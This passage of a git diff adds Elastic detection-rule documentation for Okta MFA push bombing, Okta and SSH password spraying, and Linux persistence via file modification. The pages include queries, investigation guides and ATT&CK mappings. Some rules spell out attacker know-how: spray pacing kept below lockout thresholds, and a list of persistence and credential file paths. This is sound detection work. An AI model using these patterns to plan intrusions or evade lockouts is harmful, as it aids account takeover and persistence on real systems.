Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Credential Stuffing +** ID: T1110.004 +** Reference URL: https://attack.mitre.org/techniques/T1110/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-okta-mfa-bombing-via-push-notifications.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-okta-mfa-bombing-via-push-notifications.asciidoc new file mode 100644 index 0000000000..876f13065e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-okta-mfa-bombing-via-push-notifications.asciidoc @@ -0,0 +1,150 @@ +[[prebuilt-rule-8-19-21-potential-okta-mfa-bombing-via-push-notifications]] +=== Potential Okta MFA Bombing via Push Notifications + +Detects when an attacker abuses the Multi-Factor authentication mechanism by repeatedly issuing login requests until the user eventually accepts the Okta push notification. An adversary may attempt to bypass the Okta MFA policies configured for an organization to obtain unauthorized access. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-okta.system* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.mandiant.com/resources/russian-targeting-gov-business +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection +* https://www.rezonate.io/blog/okta-logs-decoded-unveiling-identity-threats-through-threat-hunting/ +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Domain: Identity +* Use Case: Identity and Access Audit +* Tactic: Credential Access +* Data Source: Okta +* Data Source: Okta System Logs +* Resources: Investigation Guide + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Okta MFA Bombing via Push Notifications* + + +Multi-Factor Authentication (MFA) is an effective method to prevent unauthorized access. However, some adversaries may abuse the system by repeatedly sending MFA push notifications until the user unwittingly approves the access. + +This rule detects when a user denies MFA Okta Verify push notifications twice, followed by a successful authentication event within a 10-minute window. This sequence could indicate an adversary's attempt to bypass the Okta MFA policy. + + +*Possible investigation steps:* + + +- Identify the user who received the MFA notifications by reviewing the `user.email` field. +- Identify the time, source IP, and geographical location of the MFA requests and the subsequent successful login. +- Review the `event.action` field to understand the nature of the events. It should include two `user.mfa.okta_verify.deny_push` actions and one `user.authentication.sso` action. +- Ask the user if they remember receiving the MFA notifications and subsequently logging into their account. +- Check if the MFA requests and the successful login occurred during the user's regular activity hours. +- Look for any other suspicious activity on the account around the same time. +- Identify whether the same pattern is repeated for other users in your organization. Multiple users receiving push notifications simultaneously might indicate a larger attack. + + +*False positive analysis:* + + +- Determine if the MFA push notifications were legitimate. Sometimes, users accidentally trigger MFA requests or deny them unintentionally and later approve them. +- Check if there are known issues with the MFA system causing false denials. + + +*Response and remediation:* + + +- If unauthorized access is confirmed, initiate your incident response process. +- Alert the user and your IT department immediately. +- If possible, isolate the user's account until the issue is resolved. +- Investigate the source of the unauthorized access. +- If the account was accessed by an unauthorized party, determine the actions they took after logging in. +- Consider enhancing your MFA policy to prevent such incidents in the future. +- Encourage users to report any unexpected MFA notifications immediately. +- Review and update your incident response plans and security policies based on the findings from the incident. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by okta.actor.id with maxspan=10m + [ any + where data_stream.dataset == "okta.system" + and ( + okta.event_type == "user.mfa.okta_verify.deny_push" + or ( + okta.event_type == "user.authentication.auth_via_mfa" + and okta.debug_context.debug_data.factor == "OKTA_VERIFY_PUSH" + and okta.outcome.reason == "INVALID_CREDENTIALS" + ) + ) + ] with runs=5 + until + [ any + where data_stream.dataset == "okta.system" + and okta.event_type in ( + "user.authentication.sso", + "user.authentication.auth_via_mfa", + "user.authentication.verify", + "user.session.start" + ) + and okta.outcome.result == "SUCCESS" + ] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Multi-Factor Authentication Request Generation +** ID: T1621 +** Reference URL: https://attack.mitre.org/techniques/T1621/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-okta-password-spray-multi-source.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-okta-password-spray-multi-source.asciidoc new file mode 100644 index 0000000000..eaa34058dd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-okta-password-spray-multi-source.asciidoc @@ -0,0 +1,173 @@ +[[prebuilt-rule-8-19-21-potential-okta-password-spray-multi-source]] +=== Potential Okta Password Spray (Multi-Source) + +Detects potential password spray attacks where multiple source IPs target multiple Okta user accounts within a time window, indicating coordinated attacks using IP rotation to evade single-source detection. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 15m + +*Searches indices from*: now-1h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.okta.com/help/s/article/Troubleshooting-Distributed-Brute-Force-andor-Password-Spray-attacks-in-Okta +* https://www.okta.com/identity-101/brute-force/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Domain: Identity +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Data Source: Okta +* Data Source: Okta System Logs +* Tactic: Credential Access +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Okta Password Spray (Multi-Source)* + + +This rule identifies coordinated password spray attacks where multiple source IPs target multiple user accounts within a time window. This pattern indicates attackers using IP rotation to evade single-source detection while spraying passwords across the organization. + + +*Possible investigation steps* + +- Review the list of targeted user accounts and check if any authentications succeeded. +- Examine the source IPs and their ASN ownership for signs of proxy, VPN, or cloud infrastructure. +- Check if Okta flagged any of the sources as known threats or proxies. +- Analyze the attempts-per-user ratio to confirm spray behavior versus brute force. +- Review the geographic distribution of source IPs for coordination patterns. +- Cross-reference with successful authentication events to identify potential compromises. + + +*False positive analysis* + +- Organization-wide password rotation or expiration events may cause widespread authentication failures. +- Misconfigured SSO or SAML integrations can cause batch failures from legitimate infrastructure. +- Penetration testing should be coordinated and whitelisted in advance. + + +*Response and remediation* + +- If attack is confirmed, notify affected users and enforce password resets for potentially compromised accounts. +- Block attacking IP ranges at the network perimeter. +- Enable or strengthen MFA for targeted accounts. +- Review Okta sign-on policies to add additional friction for suspicious authentication patterns. +- Consider temporary lockdowns for highly targeted accounts. + + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-okta.system-* METADATA _id, _version, _index +| WHERE + data_stream.dataset == "okta.system" + AND (event.action LIKE "user.authentication.*" OR event.action == "user.session.start") + AND okta.outcome.reason IN ("INVALID_CREDENTIALS", "LOCKED_OUT") + AND okta.actor.alternate_id IS NOT NULL + +// Bucket into 15-minute windows and create user-source mapping for context +| EVAL + Esql.time_bucket = DATE_TRUNC(15 minutes, @timestamp), + Esql.user_source_info = CONCAT( + "{\"user\":\"", okta.actor.alternate_id, + "\",\"ip\":\"", COALESCE(okta.client.ip::STRING, "unknown"), + "\",\"user_agent\":\"", COALESCE(okta.client.user_agent.raw_user_agent, "unknown"), "\"}" + ) + +// Aggregate across entire tenant per time bucket to detect distributed spray +| STATS + Esql.unique_users = COUNT_DISTINCT(okta.actor.alternate_id), + Esql.unique_source_ips = COUNT_DISTINCT(okta.client.ip), + Esql.total_attempts = COUNT(*), + Esql.unique_user_agents = COUNT_DISTINCT(okta.client.user_agent.raw_user_agent), + Esql.unique_asns = COUNT_DISTINCT(source.as.number), + Esql.unique_countries = COUNT_DISTINCT(client.geo.country_name), + Esql.first_seen = MIN(@timestamp), + Esql.last_seen = MAX(@timestamp), + Esql.target_users = VALUES(okta.actor.alternate_id), + Esql.source_ip_values = VALUES(okta.client.ip), + Esql.user_source_mapping = VALUES(Esql.user_source_info), + Esql.event_action_values = VALUES(event.action), + Esql.user_agent_values = VALUES(okta.client.user_agent.raw_user_agent), + Esql.device_values = VALUES(okta.client.device), + Esql.is_proxy_values = VALUES(okta.security_context.is_proxy), + Esql.geo_country_values = VALUES(client.geo.country_name), + Esql.geo_city_values = VALUES(client.geo.city_name), + Esql.source_asn_values = VALUES(source.as.number), + Esql.source_asn_org_values = VALUES(source.as.organization.name), + Esql.threat_suspected_values = VALUES(okta.debug_context.debug_data.threat_suspected), + Esql.risk_level_values = VALUES(okta.debug_context.debug_data.risk_level), + Esql.risk_reasons_values = VALUES(okta.debug_context.debug_data.risk_reasons) + BY Esql.time_bucket + +// Calculate spray metrics +| EVAL + Esql.attempts_per_user = Esql.total_attempts * 1.0 / Esql.unique_users, + Esql.attempts_per_ip = Esql.total_attempts * 1.0 / Esql.unique_source_ips, + Esql.users_per_ip = Esql.unique_users * 1.0 / Esql.unique_source_ips + +// Distributed spray: many IPs, many users, moderate spread across both +// Key differentiator: attacks come from multiple IPs (evading per-IP rules) +| WHERE + Esql.unique_source_ips >= 5 + AND Esql.unique_users >= 8 + AND Esql.total_attempts >= 25 + AND Esql.attempts_per_user <= 5.0 + AND Esql.users_per_ip >= 1.0 + +| SORT Esql.total_attempts DESC +| KEEP Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Spraying +** ID: T1110.003 +** Reference URL: https://attack.mitre.org/techniques/T1110/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-okta-password-spray-single-source.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-okta-password-spray-single-source.asciidoc new file mode 100644 index 0000000000..544126ea7f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-okta-password-spray-single-source.asciidoc @@ -0,0 +1,188 @@ +[[prebuilt-rule-8-19-21-potential-okta-password-spray-single-source]] +=== Potential Okta Password Spray (Single Source) + +Detects potential password spray attacks where a single source IP attempts authentication against multiple Okta user accounts with repeated attempts per user, indicating common password guessing paced to avoid lockouts. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 15m + +*Searches indices from*: now-1h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.okta.com/help/s/article/Troubleshooting-Distributed-Brute-Force-andor-Password-Spray-attacks-in-Okta +* https://www.okta.com/identity-101/brute-force/ +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Domain: Identity +* Use Case: Identity and Access Audit +* Tactic: Credential Access +* Data Source: Okta +* Data Source: Okta System Logs +* Resources: Investigation Guide + +*Version*: 418 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Okta Password Spray (Single Source)* + + +This rule identifies a single source IP attempting authentication against multiple user accounts with repeated attempts per user over time. This pattern indicates password spraying where attackers try common passwords while pacing attempts to avoid lockouts. + + +*Possible investigation steps* + +- Identify the source IP and determine if it belongs to known proxy, VPN, or cloud infrastructure. +- Review the list of targeted user accounts and check if any authentications succeeded. +- Analyze the timing of attempts to determine if they are paced to avoid lockout thresholds. +- Check if Okta flagged the source as a known threat or proxy. +- Examine user agent strings for signs of automation or consistent tooling across attempts. +- Review the geographic location and ASN of the source IP for anomalies. + + +*False positive analysis* + +- Corporate proxies or VPN exit nodes may aggregate traffic from multiple legitimate users with login issues. +- Automated processes or misconfigured applications retrying authentication may trigger this rule. +- Password rotation events may cause legitimate widespread authentication failures. + + +*Response and remediation* + +- If attack is confirmed, block the source IP at the network perimeter. +- Notify targeted users and enforce password resets for accounts that may have been compromised. +- Enable or strengthen MFA for targeted accounts. +- Consider implementing CAPTCHA or additional friction for suspicious authentication patterns. +- Review Okta sign-on policies to ensure lockout thresholds are appropriately configured. + + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-okta.system-* METADATA _id, _version, _index +| WHERE + data_stream.dataset == "okta.system" + AND (event.action LIKE "user.authentication.*" OR event.action == "user.session.start") + AND okta.outcome.reason IN ("INVALID_CREDENTIALS", "LOCKED_OUT") + AND okta.actor.alternate_id IS NOT NULL +// Build user-source context as JSON for enrichment +| EVAL Esql.user_source_info = CONCAT( + "{\"user\":\"", okta.actor.alternate_id, + "\",\"ip\":\"", COALESCE(okta.client.ip::STRING, "unknown"), + "\",\"user_agent\":\"", COALESCE(okta.client.user_agent.raw_user_agent, "unknown"), "\"}" + ) +// FIRST STATS: Aggregate by (IP, user) to get per-user attempt counts +// This prevents skew from outlier users with many attempts +| STATS + Esql.user_attempts = COUNT(*), + Esql.user_source_info = VALUES(Esql.user_source_info), + Esql.user_agents_per_user = VALUES(okta.client.user_agent.raw_user_agent), + Esql.devices_per_user = VALUES(okta.client.device), + Esql.is_proxy = VALUES(okta.security_context.is_proxy), + Esql.geo_country = VALUES(client.geo.country_name), + Esql.geo_city = VALUES(client.geo.city_name), + Esql.asn_number = VALUES(source.as.number), + Esql.asn_org = VALUES(source.as.organization.name), + Esql.threat_suspected = VALUES(okta.debug_context.debug_data.threat_suspected), + Esql.risk_level = VALUES(okta.debug_context.debug_data.risk_level), + Esql.event_actions = VALUES(event.action), + Esql.first_seen_user = MIN(@timestamp), + Esql.last_seen_user = MAX(@timestamp) + BY okta.client.ip, okta.actor.alternate_id +// SECOND STATS: Aggregate by IP to detect password spray pattern +// Now we can accurately measure the distribution of attempts across users +| STATS + Esql.unique_users = COUNT(*), + Esql.total_attempts = SUM(Esql.user_attempts), + Esql.max_attempts_per_user = MAX(Esql.user_attempts), + Esql.min_attempts_per_user = MIN(Esql.user_attempts), + Esql.avg_attempts_per_user = AVG(Esql.user_attempts), + // Spray band: 2-6 attempts per user (deliberate slow spray below lockout) + Esql.users_in_spray_band = SUM(CASE(Esql.user_attempts >= 2 AND Esql.user_attempts <= 6, 1, 0)), + // Also track users with only 1 attempt (stuffing-like) for differentiation + Esql.users_with_single_attempt = SUM(CASE(Esql.user_attempts == 1, 1, 0)), + Esql.first_seen = MIN(Esql.first_seen_user), + Esql.last_seen = MAX(Esql.last_seen_user), + Esql.target_users = VALUES(okta.actor.alternate_id), + Esql.user_source_mapping = VALUES(Esql.user_source_info), + Esql.event_action_values = VALUES(Esql.event_actions), + Esql.user_agent_values = VALUES(Esql.user_agents_per_user), + Esql.device_values = VALUES(Esql.devices_per_user), + Esql.is_proxy_values = VALUES(Esql.is_proxy), + Esql.geo_country_values = VALUES(Esql.geo_country), + Esql.geo_city_values = VALUES(Esql.geo_city), + Esql.source_asn_values = VALUES(Esql.asn_number), + Esql.source_asn_org_values = VALUES(Esql.asn_org), + Esql.threat_suspected_values = VALUES(Esql.threat_suspected), + Esql.risk_level_values = VALUES(Esql.risk_level) + BY okta.client.ip +// Calculate spray signature metrics +| EVAL + // Percentage of users in the spray band (2-6 attempts) + Esql.pct_users_in_spray_band = Esql.users_in_spray_band * 100.0 / Esql.unique_users, + // Attack duration in minutes (spray is paced, not bursty) + Esql.attack_duration_minutes = DATE_DIFF("minute", Esql.first_seen, Esql.last_seen) +// Password spraying detection logic: +// - Many users targeted (>= 5) +// - Hard cap below Okta lockout threshold (max <= 8 attempts per user) +// - Majority of users in spray band (2-6 attempts) (at least 60%) +// - Attack is paced over time (>= 5 minutes) (not a 10-second burst like stuffing) +// - Minimum total attempts to reduce noise +// Note: For IP rotation attacks, see "Distributed Password Spray Attack in Okta" rule +| WHERE + Esql.unique_users >= 5 + AND Esql.total_attempts >= 15 + AND Esql.max_attempts_per_user <= 8 + AND Esql.max_attempts_per_user >= 2 + AND Esql.pct_users_in_spray_band >= 60.0 + AND Esql.attack_duration_minutes >= 5 +| SORT Esql.total_attempts DESC +| KEEP Esql.*, okta.client.ip + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Spraying +** ID: T1110.003 +** Reference URL: https://attack.mitre.org/techniques/T1110/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-password-spraying-attack-via-ssh.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-password-spraying-attack-via-ssh.asciidoc new file mode 100644 index 0000000000..dc3acaddfd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-password-spraying-attack-via-ssh.asciidoc @@ -0,0 +1,147 @@ +[[prebuilt-rule-8-19-21-potential-password-spraying-attack-via-ssh]] +=== Potential Password Spraying Attack via SSH + +This rule detects potential password spraying attacks via SSH by identifying multiple failed login attempts from a single source IP address targeting various user accounts within a short time frame. Password spraying is a technique where an attacker attempts to gain unauthorized access by trying a few commonly used passwords against many different accounts, rather than targeting a single account with multiple password attempts. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Password Spraying Attack via SSH* + + +This rule flags bursts of failed SSH logins coming from the same network origin against many different Linux accounts within a short window, indicating password spraying that can precede account compromise. It matters because attackers try a small set of common passwords across broad user lists to evade lockouts and find one weak credential. A typical pattern is an external VPS rapidly trying passwords like “Welcome123” or “Spring2024!” against 30+ usernames (e.g., admin, test, ubuntu, devops) over five minutes via SSH on a single server. + + +*Possible investigation steps* + + +- Check for any successful SSH authentications from the same source IP within a short window around the failures and, if found, pivot to session details such as interactive TTY use, sudo activity, and modifications like authorized_keys updates. +- Enrich the source IP with geolocation, ASN, reputation, and cloud-provider attribution and verify whether it is observed attempting SSH across multiple hosts to confirm a broad spray pattern. +- Compare the attempted usernames against your directory to identify valid and privileged or service accounts and confirm whether lockouts, password resets, or MFA challenges were triggered. +- Determine if the affected host is internet-exposed and which port SSH is reachable on, then review current SSH authentication settings (password vs key-based, PAM/MFA) to assess risk of compromise. +- Correlate the source IP with approved scanners, bastion hosts, or change tickets and maintenance windows to quickly rule out sanctioned testing or misconfigured monitoring. + + +*False positive analysis* + + +- A misconfigured internal automation or admin script on a management or jump host sequentially attempts SSH to many accounts with an outdated password, producing more than 10 distinct usernames and at least 30 failures from a single source IP within five minutes. +- Legitimate users behind a shared NAT or bastion host concurrently attempt SSH with expired credentials during a password rotation or temporary authentication issue, making failures across many distinct usernames appear to come from one IP. + + +*Response and remediation* + + +- Immediately block the spraying source IP(s) at host firewalls (iptables/nftables) and edge controls, and temporarily restrict SSH (port 22) to approved bastion/jump host CIDRs only. +- If any login succeeded or an sshd session from the same IP is active, terminate it, remove any newly added ~/.ssh/authorized_keys entries, and force password resets with MFA for the targeted users. +- Before restoring normal access, verify no persistence by checking for changes to /etc/ssh/sshd_config, sudoers, or cron jobs and reviewing /var/log/auth.log and lastlog for anomalies, then re-enable only required accounts. +- Escalate to incident response if privileged or service accounts were targeted, the spray spanned multiple servers, or there is evidence of sudo activity, file changes under /root or /etc, or a successful login, and preserve auth logs, bash histories, and firewall block artifacts. +- Harden SSH by disabling PasswordAuthentication, enforcing key-based auth with PAM MFA, setting conservative MaxAuthTries and LoginGraceTime, enabling fail2ban or equivalent bans, and restricting access via AllowUsers/AllowGroups and security group rules. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-system.auth-* metadata _id, _index, _version + +// Create 5-minute time buckets +| eval Esql.time_window_date_trunc = date_trunc(5 minutes, @timestamp) + +// Ensure event.action values in a list are expanded +| mv_expand event.action + +| where + event.category == "authentication" and event.action in ("ssh_login", "user_login") and event.outcome == "failure" and + source.ip is not null + +// Keep relevant fields +| keep + @timestamp, + _id, + _index, + _version, + event.category, + event.action, + event.outcome, + source.ip, + process.name, + user.name, + data_stream.dataset, + data_stream.namespace, + agent.id, + user.id, + Esql.time_window_date_trunc + +| stats + Esql.event_count = count(*), + Esql.user_name_count_distinct = count_distinct(user.name), + Esql.user_name_values = values(user.name), + Esql.process_name_values = values(process.name), + Esql.data_stream_dataset_values = values(data_stream.dataset), + Esql.data_stream_namespace_values = values(data_stream.namespace) + + by Esql.time_window_date_trunc, source.ip + +| where Esql.user_name_count_distinct > 10 and Esql.event_count >= 30 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Guessing +** ID: T1110.001 +** Reference URL: https://attack.mitre.org/techniques/T1110/001/ +* Sub-technique: +** Name: Password Spraying +** ID: T1110.003 +** Reference URL: https://attack.mitre.org/techniques/T1110/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-persistence-via-file-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-persistence-via-file-modification.asciidoc new file mode 100644 index 0000000000..a4bc6dee9b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-persistence-via-file-modification.asciidoc @@ -0,0 +1,360 @@ +[[prebuilt-rule-8-19-21-potential-persistence-via-file-modification]] +=== Potential Persistence via File Modification + +This rule leverages the File Integrity Monitoring (FIM) integration to detect file modifications of files that are commonly used for persistence on Linux systems. The rule detects modifications to files that are commonly used for cron jobs, systemd services, message-of-the-day (MOTD), SSH configurations, shell configurations, runtime control, init daemon, passwd/sudoers/shadow files, Systemd udevd, and XDG/KDE autostart entries. To leverage this rule, the paths specified in the query need to be added to the FIM policy in the Elastic Security app. + +*Rule type*: eql + +*Rule indices*: + +* logs-fim.event-* +* auditbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/primer-on-persistence-mechanisms +* https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms +* https://www.elastic.co/security-labs/continuation-on-persistence-mechanisms +* https://www.elastic.co/security-labs/approaching-the-summit-on-persistence +* https://www.elastic.co/security-labs/the-grand-finale-on-linux-persistence +* https://slayer0x.github.io/awscli/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Credential Access +* Tactic: Privilege Escalation +* Tactic: Defense Evasion +* Data Source: File Integrity Monitoring +* Resources: Investigation Guide + +*Version*: 12 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Persistence via File Modification* + + +File Integrity Monitoring (FIM) is crucial for detecting unauthorized changes to critical files, often targeted by adversaries for persistence. Attackers may modify cron jobs, systemd services, or shell configurations to maintain access or escalate privileges. The detection rule monitors these files for updates, flagging potential persistence attempts by identifying suspicious modifications outside normal operations. + + +*Possible investigation steps* + + +- Review the file path from the alert to determine which specific file was modified and assess its role in the system, focusing on paths commonly used for persistence such as cron jobs, systemd services, or shell configurations. +- Check the timestamp of the modification event to correlate it with any known legitimate changes or scheduled maintenance activities, ensuring the modification was not part of normal operations. +- Investigate the user or process responsible for the modification by examining the associated user ID or process ID, and verify if the user or process has legitimate reasons to alter the file. +- Analyze recent login and session activity for the user or process involved in the modification to identify any unusual patterns or unauthorized access attempts. +- Cross-reference the modification event with other security logs or alerts to identify any related suspicious activities, such as privilege escalation attempts or unauthorized access to sensitive files. +- If the modified file is a configuration file, review its contents for any unauthorized or suspicious entries that could indicate persistence mechanisms, such as new cron jobs or altered systemd service configurations. + + +*False positive analysis* + + +- Routine system updates or package installations may modify files monitored by the rule, such as those in /etc/cron.d or /etc/systemd/system. To manage these, consider excluding specific file paths or extensions like dpkg-new and dpkg-remove during known maintenance windows. +- User-specific configuration changes, such as updates to shell profiles in /home/*/.bashrc, can trigger alerts. Implement exceptions for user directories where frequent legitimate changes occur, ensuring these are well-documented and reviewed regularly. +- Automated scripts or management tools that update system configurations, like /etc/ssh/sshd_config, can cause false positives. Identify these tools and create exceptions for their expected file modification patterns. +- Temporary files created during system operations, such as /var/spool/cron/crontabs/tmp.*, may be flagged. Exclude these temporary paths to reduce noise while maintaining security oversight. +- Regular updates to known_hosts files in /home/*/.ssh/known_hosts can be mistaken for suspicious activity. Exclude these files from monitoring to prevent unnecessary alerts while ensuring SSH configurations are still monitored. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the attacker. +- Review the specific file modifications flagged by the alert to determine if they are unauthorized or malicious. Restore any altered files to their last known good state using backups or system snapshots. +- Change all passwords and SSH keys associated with the affected system to prevent unauthorized access using compromised credentials. +- Conduct a thorough scan of the system for additional indicators of compromise, such as unauthorized user accounts or unexpected running processes, and remove any malicious artifacts found. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if other systems may be affected. +- Implement additional monitoring on the affected system and similar systems to detect any further unauthorized file modifications or suspicious activities. +- Review and update access controls and permissions on critical files and directories to minimize the risk of unauthorized modifications in the future. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from the Elastic File Integrity Monitoring (FIM) integration. + + +*Elastic FIM Integration Setup* + +To configure the Elastic FIM integration, follow these steps: + +1. Install and configure the Elastic Agent on your Linux system. You can refer to the https://www.elastic.co/guide/en/fleet/current/elastic-agent-installation.html[Elastic Agent documentation] for detailed instructions. +2. Once the Elastic Agent is installed, navigate to the Elastic Security app in Kibana. +3. In the Kibana home page, click on "Integrations" in the left sidebar. +4. Search for "File Integrity Monitoring" in the search bar and select the integration. +5. Provide a name and optional description for the integration. +6. Select the appropriate agent policy for your Linux system or create a new one. +7. Configure the FIM policy by specifying the paths that you want to monitor for file modifications. You can use the same paths mentioned in the `query` field of the rule. Note that FIM does not accept wildcards in the paths, so you need to specify the exact paths you want to monitor. +8. Save the configuration and the Elastic Agent will start monitoring the specified paths for file modifications. + +For more details on configuring the Elastic FIM integration, you can refer to the https://docs.elastic.co/integrations/fim[Elastic FIM documentation]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and data_stream.dataset == "fim.event" and event.action == "updated" and +file.path : ( + // cron, anacron & at + "/etc/cron.d/*", "/etc/cron.daily/*", "/etc/cron.hourly/*", "/etc/cron.monthly/*", + "/etc/cron.weekly/*", "/etc/crontab", "/var/spool/cron/crontabs/*", "/etc/cron.allow", + "/etc/cron.deny", "/var/spool/anacron/*", "/var/spool/cron/atjobs/*", + + // systemd services & timers + "/etc/systemd/system/*", "/usr/local/lib/systemd/system/*", "/lib/systemd/system/*", + "/usr/lib/systemd/system/*", "/home/*/.config/systemd/user/*", "/home/*/.local/share/systemd/user/*", + "/root/.config/systemd/user/*", "/root/.local/share/systemd/user/*", + + // LD_PRELOAD + "/etc/ld.so.preload", "/etc/ld.so.conf.d/*", "/etc/ld.so.conf", + + // Dynamic linker + "/lib/ld-linux*.so*", "/lib64/ld-linux*.so*", 